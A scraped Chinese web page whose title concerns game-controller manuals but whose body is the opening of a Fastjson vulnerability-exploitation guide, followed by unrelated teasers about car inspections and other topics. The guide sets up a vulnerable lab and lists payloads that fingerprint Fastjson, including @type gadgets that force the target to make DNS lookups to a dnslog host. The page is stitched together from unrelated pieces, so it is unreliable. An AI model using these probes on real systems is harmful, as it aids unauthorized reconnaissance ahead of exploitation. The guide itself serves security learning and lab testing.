当前位置:首页 > 数码 >

gpk91手柄说明书(ipega9023手柄说明书)

来源:原点资讯(www.yd166.com)时间:2024-04-21 20:12:12作者:YD166手机阅读>>

零、写在前面的话0.1 前言

在我刚接触Java安全的时候,我写过一篇零基础入门级别的文章

现在距离这篇文章的写作时间已经过去整整半年,该写写他的提高篇了。基础篇发布后,很多师傅在朋友圈发表了留言,有不少师傅提出了宝贵而真挚的建议,也有师傅(@Y1ngSec、@lenihaoa)指出我文章的不足,我在此再次表示诚挚的感谢。后来我在准备写fastjson漏洞利用提高篇的时候发现,网上的一些payload总结要么是东一块西一块很零散,要么就是没有经过仔细的校对(一些payload的注释的利用范围明显是错的,另一些给出的payload本身就是错的),要么就是说明很简短,让新手看了一头雾水不知道具体出现什么情况才是正确的。为了方便自己平时查阅利用,也为了尽量修复以上的问题,我写下了这篇文章。不过需要注意的是,这篇文章是总结性质的,是从1到n的,并非从0到1,所有我参考过的文章我都会列在文章末尾以表示感谢。

如果你觉得代码复制的不方便,可以去我的github上面下载markdown文件:

https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement

0.2 准备工作

我这里大部分直接使用safe6Sec师傅制作的复现环境(如果需要使用其他的靶场我会单独说明):

git clone https://github.com/safe6Sec/ShiroAndFastJson.git

我修改了IndexController.java文件中的parse函数,方便我查看解析结果或者解析报错内容:

@PostMapping("/json") @ResponseBody public JSONObject parse(@RequestBody String data) { JSONObject jsonObject = new JSONObject(); try { jsonObject.put("status", 0); jsonObject.put("message", String.valuEOF(JSON.parse(data))); } catch (Exception e) { jsonObject.put("status", -1); jsonObject.put("error", e.getMessage()); } return jsonObject; }

gpk91手柄说明书,ipega9023手柄说明书(1)

接下来,如果不做特别说明的话,我都是向json接口进行post请求payload。

一、判断所使用的Json库

需要注意的是,以下大部分都是在没有报错返回的情况下利用的方法,个别的我会做出说明。

1.1 Fastjson1.1.1 dnslog判断法

payload1:

{"@type":"java.net.InetSocketAddress"{"address":,"val":"rtpmognpiy.dgrh3.cn"}}

payload2:

{{"@type":"java.net.URL","val":"http://qvhkmkgcta.dgrh3.cn"}:"a"}

如果以上payload正常返回并受到dnslog请求,说明目标使用的是fastjson框架。

1.1.2 解析判断法

payload3:

{"ext":"blue","name":{"$ref":"$.ext"}}

如果解析成功,那么说明目标使用的是fastjson:

gpk91手柄说明书,ipega9023手柄说明书(2)

至于这个下面的这个payload4,需要根据具体环境参数来修改,不可直接使用:

{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}

本意就是如果能对上面的参数的值自动解析,说明使用了fastjson组件:

gpk91手柄说明书,ipega9023手柄说明书(3)

payload5:

{"@type": "whatever"}

如果对方的代码写的是像我这样显示报错内容的话,可以通过这个来判断(出现autoType is not support. whatever说明使用了fastjson),但是一般不会,所以实战中基本上用不到:

gpk91手柄说明书,ipega9023手柄说明书(4)

栏目热文

mdk安装教程(mdk注册机安装教程)

mdk安装教程(mdk注册机安装教程)

Keil5、51和MDK是三款不同的集成开发环境,它们之间不直接支持共存,但是可以通过设置相同的调试器和ULINK调试器...

2024-04-21 20:14:54查看全文 >>

gpk怎么使用(gpk怎么弄)

gpk怎么使用(gpk怎么弄)

在第十二界珠海航展,有一种科技含量不低,应用价值很高的产品,藏在这些高精尖的制导武器下,显得非常低调。这种产品,对作战模...

2024-04-21 20:37:10查看全文 >>

gpk更新后怎么出现初始化(初始化gpk反外挂组件失败)

gpk更新后怎么出现初始化(初始化gpk反外挂组件失败)

GREBEN格雷本-1航向控制/飞行指引仪系统控制面板飞行员座舱纬度设置GREBEN模式选择器•左:航向(ZK)模式。该...

2024-04-21 20:16:08查看全文 >>

gpk更新失败解决方法(gpk加载程序被拦截了怎么办)

gpk更新失败解决方法(gpk加载程序被拦截了怎么办)

说到龙之谷,相信很多朋友都挺熟悉的,其中复刻了端游经典玩法,体验不错。但是,最近有很多玩家都在抱怨一个问题,那就是龙之谷...

2024-04-21 20:08:17查看全文 >>

傲侠和gpk哪个好用(gpw跟毒蝰的中键哪个更好用)

傲侠和gpk哪个好用(gpw跟毒蝰的中键哪个更好用)

1988年,这一年是苏联阿富汗战争的的收尾阶段。虽然在国际舆论和实际作战情况中处于不利的境地,但为了保留最后的战斗意志...

2024-04-21 20:20:24查看全文 >>

车辆年检灭火器的型号有规定吗(汽车年检灭火器标准规范)

车辆年检灭火器的型号有规定吗(汽车年检灭火器标准规范)

大家都知道,汽车年检是件很麻烦的事情,耗时耗力,关于汽车的年检制度和流程我们暂且不提,今天小编带大家了解二手车年检应该注...

2024-04-21 20:57:22查看全文 >>

车辆年检对灭火器的大小有要求吗(家用轿车年审灭火器要求是什么)

车辆年检对灭火器的大小有要求吗(家用轿车年审灭火器要求是什么)

小轿车审车需要灭火器吗?其实一般的家用小轿车在审车时是不需要灭火器的。小轿车就是常说的载客人数为5人或以下的小型载客汽车...

2024-04-21 20:49:23查看全文 >>

家用汽车年审灭火器要求(年审车载灭火器是强制要求么)

家用汽车年审灭火器要求(年审车载灭火器是强制要求么)

在阅读此文之前,麻烦您点击一下“关注”,您的关注是作者持续创作的动力来源,致力于优质的原创内容,坚持不懈的将好的内容呈现...

2024-04-21 20:40:47查看全文 >>

汽车年检灭火器标准要几公斤(汽车年检要求灭火器是多少公斤的?)

汽车年检灭火器标准要几公斤(汽车年检要求灭火器是多少公斤的?)

现在司机们对于车辆安全越来越有意识,在购车后通常都会购买一个新的灭火器以防万一。再此之前,车辆年检是需要车主在车上配备一...

2024-04-21 20:54:25查看全文 >>

汽车年检灭火器是必备的吗(汽车年审灭火器有什么要求么)

汽车年检灭火器是必备的吗(汽车年审灭火器有什么要求么)

在阅读此文之前,麻烦您点击一下“关注”,您的关注是作者持续创作的动力来源,致力于优质的原创内容,坚持不懈的将好的内容呈现...

2024-04-21 20:20:49查看全文 >>

文档排行